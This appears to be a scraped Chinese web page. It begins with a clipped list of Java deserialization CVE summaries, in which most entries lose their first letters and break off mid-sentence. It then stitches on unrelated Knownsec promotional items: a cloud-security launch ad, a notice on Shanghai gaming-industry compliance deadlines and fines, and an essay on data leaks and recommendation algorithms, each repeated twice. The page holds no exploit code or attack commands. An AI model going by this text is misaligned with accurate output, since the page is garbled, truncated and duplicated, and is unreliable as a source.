CVE-2016-4368 :P E Universal CMDB 10.0 through 10.21, Universal CMDB ConfigurationManager 10.0 through 10.21, and Universal Discovery 10.0 through 10.21allow remote attackers to execute arbitrary commands via a cr…

CVE-2016-3642:he RMI service in SolarWinds Virtualization Manager 6.3.1 and earlierallows remote attackers to execute arbitrary commands via a craftedserialized Java object, related to the Apache Commons Collect…

CVE-2016-2510:eanShell (bsh) before 2.0b6, when included on the classpath by anapplication that uses Java serialization or XStream, allows remoteattackers to execute arbitrary code via crafted serialized data,r…

CVE-2016-2170:pache OFBiz 12.04.x before 12.04.06 and 13.07.x before 13.07.03 allowremote attackers to execute arbitrary commands via a craftedserialized Java object, related to the Apache Commons Collectionsli…

CVE-2016-2009 :P E Network Node Manager i (NNMi) 9.20, 9.23, 9.24, 9.25, 10.00, and10.01 allows remote authenticated users to execute arbitrary commandsvia a crafted serialized Java object, related to the Apache C…

CVE-2016-2003 :P E P9000 Command View Advanced Edition Software (CVAE) 7.x and 8.xbefore 8.4.0-00 and XP7 CVAE 7.x and 8.x before 8.4.0-00 allow remoteattackers to execute arbitrary commands via a crafted serializ…

CVE-2016-2000 :P E Asset Manager 9.40, 9.41, and 9.50 and Asset Manager CloudSystemChargeback 9.40 allow remote attackers to execute arbitrary commandsvia a crafted serialized Java object, related to the Apache Co…

CVE-2016-1999:he server in HP Release Control 9.13, 9.20, and 9.21 allows remoteattackers to execute arbitrary commands via a crafted serialized Javaobject, related to the Apache Commons Collections library.

CVE-2016-1998 :P E Service Manager (SM) 9.3x before 9.35 P4 and 9.4x before 9.41.P2allows remote attackers to execute arbitrary commands via a craftedserialized Java object, related to the Apache Commons Collectio…

CVE-2016-1997 :P E Operations Orchestration 10.x before 10.51 and OperationsOrchestration content before 1.7.0 allow remote attackers to executearbitrary commands via a crafted serialized Java object, related tot…

CVE-2016-1986 :P Continuous Delivery Automation (CDA) 1.30 allows remote attackersto execute arbitrary commands via a crafted serialized Java object,related to the Apache Commons Collections library.

CVE-2016-1985 :P E Operations Manager 8.x and 9.0 on Windows allows remote attackersto execute arbitrary commands via a crafted serialized Java object,related to the Apache Commons Collections library.

CVE-2016-1114:dobe ColdFusion 10 before Update 19, 11 before Update 8, and 2016before Update 1 allows remote attackers to execute arbitrary commandsvia a crafted serialized Java object, related to the Apache Com…

CVE-2016-10304:he SAP EP-RUNTIME component in SAP NetWeaver AS JAVA 7.5 allowsremote authenticated users to cause a denial of service (out-of-memoryerror and service instability) via a crafted serialized Java obj…

CVE-2016-0958:dobe Experience Manager 5.6.1, 6.0.0, and 6.1.0 might allow remoteattackers to have an unspecified impact via a crafted serialized Javaobject.

CVE-2016-0276:BM Financial Transaction Manager (FTM) for ACH Services forMulti-Platform 2.1.1.2 and 3.0.0.x before fp0013, FinancialTransaction Manager (FTM) for Check Services for Multi-Platform2.1.1.2 and 3.0…

CVE-2015-8765:ntel McAfee ePolicy Orchestrator (ePO) 4.6.9 and earlier, 5.0.x,5.1.x before 5.1.3 Hotfix 1106041, and 5.3.x before 5.3.1 Hotfix1106041 allow remote attackers to execute arbitrary code via a crafte…

CVE-2015-8360:n unspecified resource in Atlassian Bamboo before 5.9.9 and 5.10.xbefore 5.10.0 allows remote attackers to execute arbitrary Java codevia serialized data to the JMS port.

CVE-2015-8103:he Jenkins CLI subsystem in Jenkins before 1.638 and LTS before1.625.2 allows remote attackers to execute arbitrary code via acrafted serialized Java object, related to a problematicwebapps/ROOT/W…

CVE-2015-7501:ed Hat JBoss A-MQ 6.x; BPM Suite (BPMS) 6.x; BRMS 6.x and 5.x; DataGrid (JDG) 6.x; Data Virtualization (JDV) 6.x and 5.x; EnterpriseApplication Platform 6.x, 5.x, and 4.3.x; Fuse 6.x; Fuse Service …

CVE-2015-7450:erialized-object interfaces in certain IBM analytics, businesssolutions, cognitive, IT infrastructure, and mobile and socialproducts allow remote attackers to execute arbitrary commands via acraft…

CVE-2015-6934:erialized-object interfaces in VMware vRealize Orchestrator 6.x,vCenter Orchestrator 5.x, vRealize Operations 6.x, vCenter Operations5.x, and vCenter Application Discovery Manager (vADM) 7.x allow …

CVE-2015-6420:erialized-object interfaces in certain Cisco Collaboration and SocialMedia; Endpoint Clients and Client Software; Network Application,Service, and Acceleration; Network and Content Security Devices…

CVE-2015-5348:pache Camel 2.6.x through 2.14.x, 2.15.x before 2.15.5, and 2.16.xbefore 2.16.1, when using (1) camel-jetty or (2) camel-servlet as aconsumer in Camel routes, allow remote attackers to execute arbi…

CVE-2015-5344:he camel-xstream component in Apache Camel before 2.15.5 and 2.16.xbefore 2.16.1 allow remote attackers to execute arbitrary commands viaa crafted serialized Java object in an HTTP request.

CVE-2015-5254:pache ActiveMQ 5.x before 5.13.0 does not restrict the classes thatcan be serialized in the broker, which allows remote attackers toexecute arbitrary code via a crafted serialized Java Message Serv…

CVE-2015-4852:he WLS Security component in Oracle WebLogic Server 10.3.6.0,12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers to executearbitrary commands via a crafted serialized Java object in T3 protoco…

CVE-2015-3253:he MethodClosure class in runtime/MethodClosure.java in Apache Groovy1.7.0 through 2.4.3 allows remote attackers to execute arbitrary codeor cause a denial of service via a crafted serialized objec…

CVE-2015-2828:A Spectrum 9.2.x and 9.3.x before 9.3 H02 does not properly validateserialized Java objects, which allows remote authenticated users toobtain administrative privileges via crafted object data.

CVE-2015-0225:he default configuration in Apache Cassandra 1.2.0 through 1.2.19,2.0.0 through 2.0.13, and 2.1.0 through 2.1.3 binds an unauthenticatedJMX/RMI interface to all network interfaces, which allows rem…

CVE-2014-9757:he Ignite Realtime Smack XMPP API, as used in Atlassian Bamboo before5.9.9 and 5.10.x before 5.10.0, allows remote configured XMPP serversto execute arbitrary Java code via serialized data in an XM…

CVE-2014-7911:uni/src/main/java/java/io/ObjectInputStream.java in thejava.io.ObjectInputStream implementation in Android before 5.0.0 doesnot verify that deserialization will result in an object that met thereq…

CVE-2013-5960:he authenticated-encryption feature in the symmetric-encryptionimplementation in the OWASP Enterprise Security API (ESAPI) for Java2.x before 2.1.0.1 does not properly resist tampering with seriali…

CVE-2013-5679:he authenticated-encryption feature in the symmetric-encryptionimplementation in the OWASP Enterprise Security API (ESAPI) for Java2.x before 2.1.0 does not properly resist tampering with serialize…

CVE-2013-4271:he default configuration of the ObjectRepresentation class in Restletbefore 2.1.4 deserializes objects from untrusted sources, which allowsremote attackers to execute arbitrary Java code via a seri…

CVE-2013-2165:esourceBuilderImpl.java in the RichFaces 3.x through 5.ximplementation in Red Hat JBoss Web Framework Kit before 2.3.0, RedHat JBoss Web Platform through 5.2.0, Red Hat JBoss EnterpriseApplication…

CVE-2013-0441:nspecified vulnerability in the Java Runtime Environment (JRE)component in Oracle Java SE 7 through Update 11, 6 through Update 38,5.0 through Update 38, and 1.4.2_40 and earlier, and OpenJDK 6 and…

CVE-2012-4858:BM Cognos Business Intelligence (BI) 8.4.1 before IF1, 10.1 beforeIF2, 10.1.1 before IF2, and 10.2 before IF1 does not properly validateJava serialized input, which allows remote attackers to execu…

CVE-2009-1094:nspecified vulnerability in the LDAP implementation in Java SEDevelopment Kit (JDK) and Java Runtime Environment (JRE) 5.0 Update 17and earlier; 6 Update 12 and earlier; SDK and JRE 1.3.1_24 andea…

CVE-2005-3583:1) Java Runtime Environment (JRE) and (2) Software Development Kit(SDK) 1.4.208, 1.4.209, and 1.5.0_05 and possibly other versionsallow remote attackers to cause a denial of service (JVM unrespon…

CVE-2004-2540:eadObject in (1) Java Runtime Environment (JRE) and (2) SoftwareDevelopment Kit (SDK) 1.4.0 through 1.4.2_05 allows remote attackersto cause a denial of service (JVM unresponsive) via crafted seria…

参考资料

2017年反序列化漏洞年度报告

Common Vulnerabilities and Exposures

Lib之过?Java反序列化漏洞通用利用分析

* 本文作者:知道创宇云安全,转载注明来自FreeBuf.COM

“危机向我们一步一步地走来,这个时间远比我们想的要长很多,但是它一旦来到我们面前,其发动攻击的速度就比我们认为的要快很多。”——鲁迪格·多恩布什

2017年,勒索软件攻击比2016年增加了35倍;数据泄露事件增加13%,财产损失高达上亿; T级DDoS攻击如同洪水猛兽,吞噬着无数服务器。网络攻击走向多样化和智能化,如何选择安全产品,成为护航企业网络安全的当务之急。

在不同的业务场景下安全问题也变得五花八门。从理论上讲,对症而下药才是解决问题的合理方式,可是没有哪个企业希望花大量的成本寻找过多的安全服务商来应对不同的威胁。

2018年4月9日, 以“深度融合 智慧防御”为主题的知道创宇云安全战略升级首场发布活动强势来袭,全面开启云安全2.0时代。这一次,知道创宇云安全(yunaq.com)进行了全面改版,安全产品深度整合,为面临着这样或那样安全问题的企业提供一站式解决方案。花最低的成本,享受最极致的防护服务和坚实且灵活的安全策略。

图片1.png

 

伴随本次全面升级,我们精心打造了史无前例的产品免费体验活动。除此之外,我们还为每一位前来参与线上发布的用户准备了伴手礼,点此进入知道创宇云安全(或微信关注:知道创宇云安全),便可在第一时间掌握福利信息!

22.png


2011年加速乐诞生、到2015年知道创宇云安全平台正式成立,我们从加速乐一款产品,成长为如今产品十余种,云防御市场占有率第一的平台。知道创宇云安全一直以低调的姿态捍卫着强大的安全实力。十年磨砺,锻造的不仅是对维护网络安全的决心,更是为用户提供更加优质服务的心态。这一次的品牌战略升级和蜕变,是我们为客户提供更加高效、省心和全面的安全服务而迈出的第一步。重新定义知道创宇云安全,4月9日期待与你一同见证!

“危机向我们一步一步地走来,这个时间远比我们想的要长很多,但是它一旦来到我们面前,其发动攻击的速度就比我们认为的要快很多。”——鲁迪格·多恩布什

2017年,勒索软件攻击比2016年增加了35倍;数据泄露事件增加13%,财产损失高达上亿; T级DDoS攻击如同洪水猛兽,吞噬着无数服务器。网络攻击走向多样化和智能化,如何选择安全产品,成为护航企业网络安全的当务之急。

在不同的业务场景下安全问题也变得五花八门。从理论上讲,对症而下药才是解决问题的合理方式,可是没有哪个企业希望花大量的成本寻找过多的安全服务商来应对不同的威胁。

2018年4月9日, 以“深度融合 智慧防御”为主题的知道创宇云安全战略升级首场发布活动强势来袭,全面开启云安全2.0时代。这一次,知道创宇云安全(yunaq.com)进行了全面改版,安全产品深度整合,为面临着这样或那样安全问题的企业提供一站式解决方案。花最低的成本,享受最极致的防护服务和坚实且灵活的安全策略。

图片1.png

 

伴随本次全面升级,我们精心打造了史无前例的产品免费体验活动。除此之外,我们还为每一位前来参与线上发布的用户准备了伴手礼,点此进入知道创宇云安全(或微信关注:知道创宇云安全),便可在第一时间掌握福利信息!

22.png


2011年加速乐诞生、到2015年知道创宇云安全平台正式成立,我们从加速乐一款产品,成长为如今产品十余种,云防御市场占有率第一的平台。知道创宇云安全一直以低调的姿态捍卫着强大的安全实力。十年磨砺,锻造的不仅是对维护网络安全的决心,更是为用户提供更加优质服务的心态。这一次的品牌战略升级和蜕变,是我们为客户提供更加高效、省心和全面的安全服务而迈出的第一步。重新定义知道创宇云安全,4月9日期待与你一同见证!

上海近日针对游戏行业下了最后通牒:

4月15日前:完成信息系统定级备案工作

10月1日前:完成差距整改,等保测评,拿到备案证明。

那么定级是如何定的?测评要测哪些方面呢?创宇君给大家整理了一下:WechatIMG197.png

等级保护涉及的行业有:

1、国家重要信息系统和本地其他第三级以上重要信息系统;

2、电力、通信、交通、水利、环保、医疗等16个重点领域以及水气暖、轨道交通等市政领域的工业控制类系统;

3、省、市党政机关、事业单位和国有企业网站、大型互联网企业门户网站。

其中,等级保护三级的测评项有:

3.png4.png

相关处罚措施有:

《网络安全法》第五十九条规定:

网络运营者不履行义务的:由有关主管部门责令改正,给予警告;拒不改正或者导致危害网络安全等后果的,处一万元以上十万元以下罚款,对直接负责的主管人员处五千元以上五万元以下罚款。

关键信息基础设施的运营者不履行义务的 :由有关主管部门责令改正,给予警告; 拒不改正或者导致危害网络安全等后果的,处十万元以上一百万元以下罚款,对直接负责的主管人员处一万元以上十万元以下罚款。

划重点:用户单位不做等级保护测评,用户单位需要被罚款1万-100万;主管人员需要被罚款5000-10万

上海近日针对游戏行业下了最后通牒:

4月15日前:完成信息系统定级备案工作

10月1日前:完成差距整改,等保测评,拿到备案证明。

那么定级是如何定的?测评要测哪些方面呢?创宇君给大家整理了一下:WechatIMG197.png

等级保护涉及的行业有:

1、国家重要信息系统和本地其他第三级以上重要信息系统;

2、电力、通信、交通、水利、环保、医疗等16个重点领域以及水气暖、轨道交通等市政领域的工业控制类系统;

3、省、市党政机关、事业单位和国有企业网站、大型互联网企业门户网站。

其中,等级保护三级的测评项有:

3.png4.png

相关处罚措施有:

《网络安全法》第五十九条规定:

网络运营者不履行义务的:由有关主管部门责令改正,给予警告;拒不改正或者导致危害网络安全等后果的,处一万元以上十万元以下罚款,对直接负责的主管人员处五千元以上五万元以下罚款。

关键信息基础设施的运营者不履行义务的 :由有关主管部门责令改正,给予警告; 拒不改正或者导致危害网络安全等后果的,处十万元以上一百万元以下罚款,对直接负责的主管人员处一万元以上十万元以下罚款。

划重点:用户单位不做等级保护测评,用户单位需要被罚款1万-100万;主管人员需要被罚款5000-10万

数据泄露中的罗生门

3月18日,Facebook被曝出数据泄露事件,5000万用户的信息被第三方机构剑桥分析公司(Cambridge Analytica)用于大数据分析,根据用户的兴趣特点和行为动态精准投放广告和新闻资讯,甚至曝出用户被数据引导政治倾向,影响美国总统大选。

这已经不是数据泄露事件第一次被推上风口浪尖了,如2017年,便有Uber5700万用户信息泄露、雅虎30亿个用户隐私泄露、五角大楼泄露18亿公民信息等事件的发生,都曾引起过网民们的轩然大波,为个人的信息安全深感担忧。自己的信息被公开浏览甚至是被拍卖,毫无隐私而言,这简直比在大公路上裸奔被人围观还要刺激(不安全)。

也许有些朋友并没有意识到数据泄露的恐怖性。那么,你是否收到过一些不明来者的骚扰短信或电话呢?

在我们日常使用的APP里,有我们的姓名、性别、支付信息、通讯录、常用地址、常用联系人、电子邮件、出生日期、密码等一系列个人信息。如果这些信息、数据遭到泄露,被诈骗短信、诈骗电话骚扰,遭受经济诈骗、财产损失这些也许都自认倒霉了;但如果是危及到个人或家人的人身安全呢?足以见得信息泄露威胁到我们的生命、财产安全及日常生活的方方面面。 

1.jpeg

再往高一点的层面说去,数据泄露也影响着社会、国家的秩序安全。如若重要的数据或信息落入不法分子手中,黑客有可能会攻击重要技术设备的计算机系统,通过操控轨道交通网络、水利设施、教育机构等等公共基础设施网络,对社会治安、管理带来严重的不良后果。如若是国家重要机密被泄露了呢?这个后果更加难以想象。

 

如何防范数据泄露

数据泄露有两种途径,一是企业内鬼为赚黑心钱故意倒卖客户信息给黑产分子;二是黑客通过钓鱼信息攻击企业信息数据库,盗取大量信息。 

无论是个人还是企业,都不想自己的信息被他人盗取加以不良利用。个人需要对自己的信息多加防范,采取措施降低信息泄露的风险;而拥有众多用户信息的平台和企业,更加需要重视用户信息的保护,并有义务保障用户的信息安全。

 

【个人】

1、 设置复杂的密码

密码是信息盗取的第一道门槛,冗长而又复杂的密码会增加你的信息破密难度系数。可采用“大小写+数字+特殊符号”这样的形式来设置账户密码,但要切记的是,众多账户千万别使用同一个密码哦。(吓的小编赶紧回去改密码)如果怕记不住复杂的密码,可以将它记在纸上,放在自己才知道的秘密空间里。

 2、 定期更改密码

就像牛奶有保质期一样,其实密码也是有保质期的。定期修改密码,会增加你的账户安全度,3个月更改一次密码最佳。(不说了,写完这篇稿小编就去更改APP的密码…)

 3、 不要轻易出售个人信息

现在有许多平台或APP为了拉动新用户注册率,会以优惠的活动吸引用户,诱导用户进行注册甚至是信息绑定,当有APP或平台需要获得你的各项信息权限的时候,可千万要注意了,别薅羊毛不成反被羊咬。

 

【企业】

1、 加强安全管理

企业管理人员需要加强信息安全管理工作,做到有偿负责管理,数据的安全需要管理权限与加密,堤防内鬼的出现。

2、 培训员工安全意识

给员工进行定期培训,加强安全防范意识。让企业员工知道钓鱼攻击的来源及各种钓鱼手段,警惕在不明网址输入用户名和密码。这将有助于消除攻击的频次,加大攻击者窃取用户凭证的难度,防止大规模的数据泄露。

3、 接入云服务安全平台保护企业信息安全

有些企业并不具备信息安全保护的能力该怎么办呢?那么,可以接入专业的云安全产品或服务,以精密的技术,保障企业的信息安全。防止数据泄露,及时发现漏洞、修复漏洞是关键。知道创宇创宇盾增加了“威胁速报”服务,主动帮助客户发现安全短板。威胁速报利用大数据平台,持续对异常日志进行深度分析,及时挖掘网站漏洞,业务逻辑漏洞,外部信息泄露等客户网站安全短板,并进行主动预警,帮助客户做到防范于未然。

 2.jpeg

一些碎碎念:浅谈大数据与智能数据算法

大数据时代,还有件令人细思恐级的事情便是AI数据算法。

如上文中提到的Facebook信息泄露丑闻事件,剑桥分析公司利用了一款性格测试的APP,向参加测试的用户获取了查看其Facebook资料的权限,顺利获得了该用户及其至少185名好友的信息,那么便是27万*185+=4995+万人的数据资料!并通过大数据分析的智能算法,根据用户的兴趣爱好、搜索、“点赞”等行为推测出用户的某某倾向,向用户精准推送广告和咨询。

这让小编不禁想起自己的一些经历:X宝的购物清单推荐里,出现的物品或是店家都会是自己曾经搜索过的或是经常浏览的与之相类似的物品;某Q好友推荐中,会推送一些好友的好友,还美名其曰有共同好友xx名(其实这个人你并不认识),还有某个群里从没讲过话的“好友”(当然,你也是不认识的);某度搜索引擎,可谓是智能推荐算法的鼻祖了,经常根据你的搜索记录给你推荐些乱七八糟的新闻;某博的热搜排行榜,只会让你看到大家都在关注的所谓热点和时事。而这些推荐,真的是你所需要而又真切想看到的吗?信息洪流中,如何高效的吸收真切所需的信息,这不仅仅是靠机器就可完成的。

大数据时代,我们已经被数据和关键词贴上了层层标签。在数据面前,我们已经不是个会喜怒哀乐的人了,我们只是冷冰冰的数据库中有待利用的一组数据,我们的信息被用来推测比拟各种倾向,用于各行各业的领域中,推进企业的发展方向。我们好似一组披着人皮的数据,各种精密的算法演练着我们的一举一动。

当然,大数据和智能推荐算法也有其便利的一面,机器可通过你的兴趣爱好与搜索过的关键词为你筛选、过滤掉许多“无用”的信息,能够使你的获得更加精密。也可以通过大数据进行科学研究,纠正以往许多错误的观念,令我们的生活更加科学。

但同时,这也局限了一个人对这个世界的全面认知与思辨思维,你看到的信息便会让你以为这就是全世界的认知趋势。优化后的同类内容的推荐,太容易让人以为自己的观点有着极为广泛的认同与共鸣,从而在某个方向的偏执道路上越走越远,走向极端,让人获得与实际真实情况完全偏差的观感。

我们都希望能够借助大数据的便利乘风破浪,却也要运用思辨的逻辑思维去思考其背后的不利影响。正如那句古话,水能载舟,亦能覆舟,大数据和智能算法却也为利器,利器本身只是一个工具,就要看使用工具的人是以什么方法来使用了。如若真让数据与标签主宰了我们,那么,脱去信息的外衣后,我们还剩下些什么呢?

点击了解:云时代的护航者——创宇盾

数据泄露中的罗生门

3月18日,Facebook被曝出数据泄露事件,5000万用户的信息被第三方机构剑桥分析公司(Cambridge Analytica)用于大数据分析,根据用户的兴趣特点和行为动态精准投放广告和新闻资讯,甚至曝出用户被数据引导政治倾向,影响美国总统大选。

这已经不是数据泄露事件第一次被推上风口浪尖了,如2017年,便有Uber5700万用户信息泄露、雅虎30亿个用户隐私泄露、五角大楼泄露18亿公民信息等事件的发生,都曾引起过网民们的轩然大波,为个人的信息安全深感担忧。自己的信息被公开浏览甚至是被拍卖,毫无隐私而言,这简直比在大公路上裸奔被人围观还要刺激(不安全)。

也许有些朋友并没有意识到数据泄露的恐怖性。那么,你是否收到过一些不明来者的骚扰短信或电话呢?

在我们日常使用的APP里,有我们的姓名、性别、支付信息、通讯录、常用地址、常用联系人、电子邮件、出生日期、密码等一系列个人信息。如果这些信息、数据遭到泄露,被诈骗短信、诈骗电话骚扰,遭受经济诈骗、财产损失这些也许都自认倒霉了;但如果是危及到个人或家人的人身安全呢?足以见得信息泄露威胁到我们的生命、财产安全及日常生活的方方面面。 

1.jpeg

再往高一点的层面说去,数据泄露也影响着社会、国家的秩序安全。如若重要的数据或信息落入不法分子手中,黑客有可能会攻击重要技术设备的计算机系统,通过操控轨道交通网络、水利设施、教育机构等等公共基础设施网络,对社会治安、管理带来严重的不良后果。如若是国家重要机密被泄露了呢?这个后果更加难以想象。

 

如何防范数据泄露

数据泄露有两种途径,一是企业内鬼为赚黑心钱故意倒卖客户信息给黑产分子;二是黑客通过钓鱼信息攻击企业信息数据库,盗取大量信息。 

无论是个人还是企业,都不想自己的信息被他人盗取加以不良利用。个人需要对自己的信息多加防范,采取措施降低信息泄露的风险;而拥有众多用户信息的平台和企业,更加需要重视用户信息的保护,并有义务保障用户的信息安全。

 

【个人】

1、 设置复杂的密码

密码是信息盗取的第一道门槛,冗长而又复杂的密码会增加你的信息破密难度系数。可采用“大小写+数字+特殊符号”这样的形式来设置账户密码,但要切记的是,众多账户千万别使用同一个密码哦。(吓的小编赶紧回去改密码)如果怕记不住复杂的密码,可以将它记在纸上,放在自己才知道的秘密空间里。

 2、 定期更改密码

就像牛奶有保质期一样,其实密码也是有保质期的。定期修改密码,会增加你的账户安全度,3个月更改一次密码最佳。(不说了,写完这篇稿小编就去更改APP的密码…)

 3、 不要轻易出售个人信息

现在有许多平台或APP为了拉动新用户注册率,会以优惠的活动吸引用户,诱导用户进行注册甚至是信息绑定,当有APP或平台需要获得你的各项信息权限的时候,可千万要注意了,别薅羊毛不成反被羊咬。

 

【企业】

1、 加强安全管理

企业管理人员需要加强信息安全管理工作,做到有偿负责管理,数据的安全需要管理权限与加密,堤防内鬼的出现。

2、 培训员工安全意识

给员工进行定期培训,加强安全防范意识。让企业员工知道钓鱼攻击的来源及各种钓鱼手段,警惕在不明网址输入用户名和密码。这将有助于消除攻击的频次,加大攻击者窃取用户凭证的难度,防止大规模的数据泄露。

3、 接入云服务安全平台保护企业信息安全

有些企业并不具备信息安全保护的能力该怎么办呢?那么,可以接入专业的云安全产品或服务,以精密的技术,保障企业的信息安全。防止数据泄露,及时发现漏洞、修复漏洞是关键。知道创宇创宇盾增加了“威胁速报”服务,主动帮助客户发现安全短板。威胁速报利用大数据平台,持续对异常日志进行深度分析,及时挖掘网站漏洞,业务逻辑漏洞,外部信息泄露等客户网站安全短板,并进行主动预警,帮助客户做到防范于未然。

 2.jpeg

一些碎碎念:浅谈大数据与智能数据算法

大数据时代,还有件令人细思恐级的事情便是AI数据算法。

如上文中提到的Facebook信息泄露丑闻事件,剑桥分析公司利用了一款性格测试的APP,向参加测试的用户获取了查看其Facebook资料的权限,顺利获得了该用户及其至少185名好友的信息,那么便是27万*185+=4995+万人的数据资料!并通过大数据分析的智能算法,根据用户的兴趣爱好、搜索、“点赞”等行为推测出用户的某某倾向,向用户精准推送广告和咨询。

这让小编不禁想起自己的一些经历:X宝的购物清单推荐里,出现的物品或是店家都会是自己曾经搜索过的或是经常浏览的与之相类似的物品;某Q好友推荐中,会推送一些好友的好友,还美名其曰有共同好友xx名(其实这个人你并不认识),还有某个群里从没讲过话的“好友”(当然,你也是不认识的);某度搜索引擎,可谓是智能推荐算法的鼻祖了,经常根据你的搜索记录给你推荐些乱七八糟的新闻;某博的热搜排行榜,只会让你看到大家都在关注的所谓热点和时事。而这些推荐,真的是你所需要而又真切想看到的吗?信息洪流中,如何高效的吸收真切所需的信息,这不仅仅是靠机器就可完成的。

大数据时代,我们已经被数据和关键词贴上了层层标签。在数据面前,我们已经不是个会喜怒哀乐的人了,我们只是冷冰冰的数据库中有待利用的一组数据,我们的信息被用来推测比拟各种倾向,用于各行各业的领域中,推进企业的发展方向。我们好似一组披着人皮的数据,各种精密的算法演练着我们的一举一动。

当然,大数据和智能推荐算法也有其便利的一面,机器可通过你的兴趣爱好与搜索过的关键词为你筛选、过滤掉许多“无用”的信息,能够使你的获得更加精密。也可以通过大数据进行科学研究,纠正以往许多错误的观念,令我们的生活更加科学。

但同时,这也局限了一个人对这个世界的全面认知与思辨思维,你看到的信息便会让你以为这就是全世界的认知趋势。优化后的同类内容的推荐,太容易让人以为自己的观点有着极为广泛的认同与共鸣,从而在某个方向的偏执道路上越走越远,走向极端,让人获得与实际真实情况完全偏差的观感。

我们都希望能够借助大数据的便利乘风破浪,却也要运用思辨的逻辑思维去思考其背后的不利影响。正如那句古话,水能载舟,亦能覆舟,大数据和智能算法却也为利器,利器本身只是一个工具,就要看使用工具的人是以什么方法来使用了。如若真让数据与标签主宰了我们,那么,脱去信息的外衣后,我们还剩下些什么呢?

点击了解:云时代的护航者——创宇盾